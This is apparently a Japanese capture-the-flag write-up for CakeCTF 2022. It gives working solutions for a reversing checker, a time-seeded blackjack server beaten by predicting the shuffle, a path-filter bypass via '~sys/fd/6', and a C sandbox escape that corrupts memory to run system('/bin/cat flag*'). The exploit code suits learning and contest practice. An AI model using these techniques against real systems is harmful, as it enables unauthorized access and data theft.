def check(input_str): R4 = b"CakeCTF 2022" table = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34] for i in range(len(input_str)): for j in range(i+1, len(input_str)): input_str[i], input_str[j] = input_str[j], input_str[i] for i in range(len(input_str)): c = R4[i % len(R4)] if input_str[i] ^ c != table[i]: return False return True
入力した文字列を特定の文字列でXORしてテーブルと比較しているだけなので、テーブルと特定の文字列をXORしてやればフラグが得られます。(途中に入力文字列を反転させる処理があるので[::-1]
で合わせます)
from pwn import xor table = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34] print(xor(table, b"CakeCTF 2022")[::-1])
CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}
crypto
1問も解けなかった。Crypto弱者と申します……
frozen cake: ちょくちょく眺めてたけど方針がわからず、終了直前にm^(p-1)(q-1)
にすればよいのでは?と思いついたけど間に合わなかった。
他: 見てません。
cheat
matsushima3 [22 solves]
High & Lowのゲームで、$100から所持金を倍々に連勝していって$999999999999999になればフラグが貰えます。サーバーのソースコードが与えられているので読むと、デッキシャッフルの部分が怪しく見えます。
# Shuffle cards deck = [(i // 13, i % 13) for i in range(4*13)] random.seed(int(time.time()) ^ session['user_id']) random.shuffle(deck) session['deck'] = deck
session['user_id']
は既知なので、タイミング攻撃で乱数のシードがわかりますね。ある時刻でのデッキの状態を前もって確認することができるので、ゲームをシミュレーションすることができます。これを使って、勝てる時刻にだけ参加することで連勝ができます。
次のようなソルバでフラグが貰えます。(雑に書いてるのでよく失敗します)
import requests import time import random import json from email.utils import parsedate_to_datetime url = "http://misc.2022.cakectf.com:10011" # url = "http://localhost:10011" def calculate_score(cards): """Calculate current total of cards""" num_ace = 0 score = 0 for _, c in cards: if c == 0: num_ace += 1 elif c < 10: score += c + 1 else: score += 10 while num_ace > 0: if 21 - score >= 10 + num_ace: score += 11 else: score += 1 num_ace -= 1 return -1 if score > 21 else score ses = requests.Session() # date = ses.get(url + "/user/new").headers["Date"] # print(date) # diff = int(parsedate_to_datetime(date).timestamp()) - int(time.time()) # print(diff) diff = 1 user = json.loads(ses.get(url + "/user/new").text) print(user) while True: while True: deck = [(i // 13, i % 13) for i in range(4*13)] now = time.time() if 0.2 < now % 1: continue random.seed((int(now) + diff) ^ user['user_id']) random.shuffle(deck) player_hand = [] dealer_hand = [] hit = 0 for i in range(2): player_hand.append(deck.pop()) dealer_hand.append(deck.pop()) while calculate_score(player_hand + [deck[-1]]) != -1: player_hand.append(deck.pop()) hit += 1 if calculate_score(dealer_hand) <= 16 and calculate_score(dealer_hand) != -1: dealer_hand.append(deck.pop()) while calculate_score(dealer_hand) <= 16 and calculate_score(dealer_hand) != -1: dealer_hand.append(deck.pop()) if calculate_score(player_hand) > calculate_score(dealer_hand): print(player_hand, dealer_hand) break game = json.loads(ses.get(url + "/game/new").text) print(game) win = False for i in range(hit): act = json.loads(ses.get(url + "/game/act?action=hit").text) print(act) win = act["state"] == "win" if act["flag"] != "": break if not win: result = json.loads(ses.get(url + "/game/act?action=stand").text) print(result) if result["state"] != "win": break if result["flag"] != "": break
CakeCTF{INFAMOUS_LOGIC_BUG}
misc
readme 2022 [52 solves]
開始から真っ先に取り組んだ問題です。
import os try: f = open("/flag.txt", "r") except: print("[-] Flag not found. If this message shows up") print(" on the remote server, please report to amdin.") if __name__ == '__main__': filepath = input("filepath: ") if filepath.startswith("/"): exit("[-] Filepath must not start with '/'") elif '..' in filepath: exit("[-] Filepath must not contain '..'") filepath = os.path.expanduser(filepath) try: print(open(filepath, "r").read()) except: exit("[-] Could not open file")
指定したパスの内容を表示するプログラムですが、/
で始まったり..
を含んでたりすると駄目なので、回避してくださいという問題です。
まずos.path.expanduser
のドキュメントを読みにいきます。
Unix では、先頭の
~
は、環境変数HOME
が設定されているならその値に置き換えられます。設定されていない場合は、現在のユーザのホームディレクトリをビルトインモジュールpwd
を使ってパスワードディレクトリから探して置き換えます。先頭の~user
については、直接パスワードディレクトリから探します。
HOMEが設定されていない場合は/etc/passwd
を参照するみたいですね。Docker内に入って確認してみると、sys
が都合良さそうです。
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sys
のホームディレクトリが/dev
なので、~sys
とすれば/dev
にアクセスできます。/dev
は/proc
と同様に多くの特殊な情報が格納されているディレクトリで、/dev/fd/
は自身のプロセスで開いたファイルディスクリプタが参照しているファイルへのリンクがあるフォルダです。(= /proc/self/fd/
)
処理の冒頭でflag.txt
をopen
しているので、/dev/fd/
にはflag.txt
への参照があるはずです。これもDocker内に入って確かめると、/dev/fd/6
であることがわかります。
まとめると、~sys/fd/6
でフラグを表示することができます。
CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}
2rd bloodでした。わいわい。
C-Sandbox [20 solves]
入力したCのソースコードをコンパイルして実行してくれますが、何やらLLVMの機能を使ってソースコードに制限をかけています。
/* Allow these function calls */ if (func && (func->getName() == "puts" || func->getName() == "printf" || func->getName() == "__isoc99_scanf" || func->getName() == "exit")) continue;
これらの関数しか呼び出しできない、という制限のようです。といっても配列のOOBなど安全でない動作は色々できるのでメモリ破壊してRCEしていきましょう。
デバッグしながらガチャガチャやってたらprintf("")
を実行した後はrdi
がlibcのbss内(libc base+0x1ee7e0
)を指すことがわかったので、そこにコマンドを書き込んでリターンアドレスをstackがalignされるように調整したsystem
にすればsystem(cmd)
が実行できます。
#include <stdio.h> #include <stdlib.h> long base = (long)system - 0x00052290; char* command = "/bin/cat flag*"; int main() { long buf[0]; printf(""); for (int i = 0; i < 32; ++i) { *(char*)(base + 0x1ee7e0 + i) = command[i]; // cmd } *(buf + 2) = base + 0x51cd2; // system return 0; }
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
5rd bloodでした。わいわい。
感想
良問揃いで楽しかったです。Panda Memo
で溶かした時間をrevやcryptoに当てられていたらPro-ソロプレイヤーたちと肩並べられたかなという感じです。